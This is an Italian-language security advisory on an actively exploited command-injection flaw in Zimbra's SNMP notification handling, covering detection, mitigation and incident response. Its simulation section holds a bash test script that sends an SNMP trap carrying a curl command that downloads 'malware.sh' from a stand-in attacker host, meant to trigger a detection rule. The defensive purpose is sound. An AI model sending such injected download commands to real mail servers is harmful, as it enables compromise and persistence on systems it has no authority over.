CVE-2026-73570: Iniezione di Comandi Non Autenticati Rivolta ai Server di Posta Elettronica esposti su Internet

Sommario

Gli attori delle minacce stanno sfruttando attivamente CVE-2026-73570, una vulnerabilità di iniezione di comandi OS senza autenticazione nel percorso di notifica SNMP della Zimbra Collaboration Suite. Lo sfruttamento riuscito può consentire agli attaccanti di distribuire webshell JSP, stabilire reverse shell e aumentare i privilegi. La campagna osservata combina la distribuzione automatizzata di payload con attività manuali mirate a rubare email e dati di autenticazione.

Indagine

Microsoft Threat Intelligence ha monitorato lo sfruttamento tramite la telemetria ed esaminato vari stadi dell’attacco, inclusi ricognizione, accesso iniziale, persistenza ed escalation dei privilegi. Gli investigatori hanno osservato sonde out-of-band usate per confermare l’esecuzione dei comandi attraverso specifici sottodomini. L’analisi ha anche rivelato una complessa escalation dei privilegi che coinvolge assistenti del servizio Zimbra e molteplici meccanismi di persistenza, inclusi servizi systemd e cron job.

Mitigazione

Le organizzazioni dovrebbero aggiornare immediatamente la Zimbra Collaboration Suite alla versione 10.1.20 o successiva per risolvere la vulnerabilità. Se l’aggiornamento non può essere completato tempestivamente, disinstallare l’opzione zimbra-snmp package e disabilitare le notifiche SNMP. I team di sicurezza dovrebbero anche restringere l’accesso SMTP e SNMP agli host fidati e ruotare tutti i segreti di autenticazione Zimbra.

Risposta

Trattare gli avvisi di reverse-shell sui server di posta esposti a Internet come incidenti ad alta priorità che richiedono una rapida delimitazione e revisione delle credenziali. Ispezionare le directory dell’applicazione Zimbra e delle servlet per file JSP inattesi o autorizzazioni recentemente modificate. Rivedere le unità systemd per modifiche sospette di proprietà o attività di timestomping, e ruotare tutte le zimbraPreAuthKey valori di dominio.

Esecuzione della Simulazione

• Narrazione dell’Attacco e Comandi: L’avversario identifica un server di posta Zimbra esposto a Internet e sfrutta una vulnerabilità (CVE-2026-73570) nell’elaborazione delle notifiche SNMP. Inviando un pacchetto appositamente crafted, iniettano metacaratteri shell che fanno sì che il servizio SNMP esegua un comando. L’obiettivo dell’attaccante è scaricare un payload secondario per stabilire persistenza. Usano curl per recuperare uno script da un server remoto, il che dovrebbe attivare la logica nella regola di rilevamento. Script di Test di Regressione:

• Regression Test Script:

  #!/bin/bash
  # Simulazione di sfruttamento CVE-2026-73570 tramite iniezione trap SNMP
  # Questo script simula l'iniezione di un comando 'curl' in un messaggio trap SNMP.
  
  TARGET_IP="127.0.0.1"
  COMMUNITY="public"
  # Il payload dannoso inteso per essere catturato dalla regola
  MALICIOUS_COMMAND="curl http://attacker.com/malware.sh -o /tmp/malware.sh"
  
  echo "[+] Simulazione di iniezione di comandi via SNMP Trap..."
  
  # Usiamo snmptrap per imitare l'arrivo di un trap craftato contenente la stringa 'curl'
  # In un vero sfruttamento, questo verrebbe inviato tramite un pacchetto SMTP/SNMP malformato
  snmptrap -v 2c -c $COMMUNITY $TARGET_IP '' 1.3.6.1.4.1.8072.2.3.0.1 1.3.6.1.4.1.8072.2.3.0.2 s "$MALICIOUS_COMMAND"
  
  echo "[+] Comando di simulazione inviato. Controllare SIEM per allerta: Iniezione di Comandi senza Autenticazione tramite SNMP in Zimbra"

• Comandi di Pulizia:

  # Rimuovere eventuali file creati durante la simulazione (se presenti)
  rm -f /tmp/malware.sh
  echo "[+] Pulizia completata."